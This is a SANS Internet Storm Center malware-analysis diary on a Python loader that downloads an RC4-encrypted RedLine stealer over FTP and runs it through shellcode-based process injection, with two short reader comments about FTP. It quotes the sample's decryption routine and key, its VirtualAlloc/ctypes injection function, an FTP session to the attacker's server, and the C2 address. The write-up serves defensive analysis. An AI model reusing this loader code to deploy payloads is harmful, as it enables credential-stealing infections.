# SANS ISC: RedLine Stealer Delivered Through FTP - SANS Internet Storm Center SANS Site Network Current Site SANS Internet Storm Center Other SANS Sites Help Graduate Degree Programs Security Training Security Certification Security Awareness Training Penetration Testing Industrial Control Systems Cyber Defense Foundations DFIR Software Security Government OnSite Training SANS ISC InfoSec Forums

isc.sans.edu/forums/diary/RedLine+Stealer+Delivered+Through+FTP/28258/

Here is a piece of malicious Python script that injects a RedLine[1] stealer into its own process. Process injection is a common attacker’s technique these days (for a long time already). The difference, in this case, is that the payload is delivered through FTP! It’s pretty unusual because FTP is today less and less used for multiple reasons (lack of encryption by default, complex to filter with those passive/active modes). Support for FTP has even been disabled by default in Chrome starting with version 95! But FTP remains a common protocol in the IoT/Linux landscape with malware families like Mirai. My honeypots still collect a lot of Mirai samples on FTP servers. I don't understand why the attacker chose this protocol because, in most corporate environments, FTP is not allowed by default (and should definitely not be!).

The Python script contains the credentials and FTP server IP address. When you connect manually, you can list a bunch of different payloads but the one used in this case is 001.enc.

```
remnux@remnux:/MalwareZoo/20220119$  ftp x.x.x.x
Connected to x.x.x.x.
220-FileZilla Server 0.9.60 beta
220-written by Tim Kosse (tim.kosse@filezilla-project.org)
220 Please visit https://filezilla-project.org/
Name (62.109.1.213:root): launcher
331 Password required for launcher
Password:
230 Logged on
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
229 Entering Extended Passive Mode (|||58066|)
150 Opening data channel for directory listing of "/"
-r--r--r-- 1 ftp ftp         228352 Jan 17 21:25 001.ENC
-r--r--r-- 1 ftp ftp         228352 Jan 17 21:25 002.ENC
-r--r--r-- 1 ftp ftp         879104 Jan 17 09:26 11.ENC
-r--r--r-- 1 ftp ftp         675840 Aug 14  2021 1650.ENC
-r--r--r-- 1 ftp ftp         675328 Dec 11  2021 167.ENC
-r--r--r-- 1 ftp ftp         675328 Jan 02 13:01 1680.ENC
226 Successfully transferred "/"
ftp>
```

The payload is encrypted and the following function does the job to decrypt the PE file:

```
def encode_data(data):
    key = b"JHGIEKC6U"
    S = bytearray(range(256))
    j = 0
    out = bytearray()
    for i in range(256):
        j = (j + S[i] + key[i % len(key)]) % 256
        S[i] , S[j] = S[j] , S[i]
    i = j = 0
    for char in data:
        i = ( i + 1 ) % 256
        j = ( j + S[i] ) % 256
        S[i] , S[j] = S[j] , S[i]
        out.append(char ^ S[(S[i] + S[j]) % 256])
    return(bytes(out))
```

Like I said to my students when I'm teaching FOR610, when you are investigating an incident, the way the payload was encrypted/encoded is less relevant. The **payload** in itself is important. To extract the PE file, I just wrote a quick Python script that replicates this function and dumps the payload into a file.

The decrypted payload SHA256 is 0eeb332efa3c20c2f3d85d07d844ba6150bdee3c1eade52f0f2449c3d2727334 and is unknown on VT at this time.

The script also has a hex-encoded shellcode. Why do we have a shellcode and another payload? Here is the function used to inject the code:

```
def runpe(peimage):
    filepathenv = "%ProgramFiles%\\Internet Explorer\\iexplore.exe"
    filepath = os.path.expandvars(filepathenv)
    ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_void_p
    p = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(sc)),
           ctypes.c_int(0x3000), ctypes.c_int(0x40))
    ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(p), sc, ctypes.c_int(len(sc)))
    q = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
ctypes.c_int(len(peimage)),
           ctypes.c_int(0x3000), ctypes.c_int(0x40))
    ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(q), peimage,
ctypes.c_int(len(peimage)))
    run = ctypes.cast(p, ctypes.WINFUNCTYPE(ctypes.c_void_p, ctypes.c_void_p,
ctypes.c_void_p))
    run(filepath.encode('utf8')+b'\x00', q)
```

You see that two calls to `VirtualAlloc()` are performed. The first one is used to load the shellcode into memory and the second to load the payload (RedLine itself). The most interesting line is the one with the `ctypes.cast()`. This function allows casting the shellcode to act as a function pointer. Once completed, the shellcode can be called like any standard Python function:

```
run(filepath.encode('utf8')+b'\x00', q)
```

Through the shellcode, Python will execute RedLine that has been injected in memory before. My sample tried to connect to the following C2 but it was offline (78[.]24[.]222[.]162:37819).

The initial Python script (SHA256:e6d6451b82a03a3199770c490907ef01c401cc44826162a97d0f22aa9c122619) has a VT score of 14/58[2].

[1] https://malpedia.caad.fkie.fraunhofer.de/details/win.redline_stealer
[2] https://www.virustotal.com/gui/file/e6d6451b82a03a3199770c490907ef01c401cc44826162a97d0f22aa9c122619

Xavier Mertens (@xme)
Xameco
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

I will be teaching next: Reverse-Engineering Malware: Malware Analysis Tools and Techniques - SANS London June 2022

Xme

687 Posts

ISC Handler

Jan 20th 2022

So if using FTP for file transfer is not a good idea, what to use ?

Stephane

3 Posts

FTP is a clear protocol that is dangerous to use on an untrusted network. In itself, it works pretty well to exchange files but, if you must stick to it, be sure to transfer files through a VPN or a secure network. Alternatives are SFTP, SFP, HTTPS, …

Xme

687 Posts

ISC Handler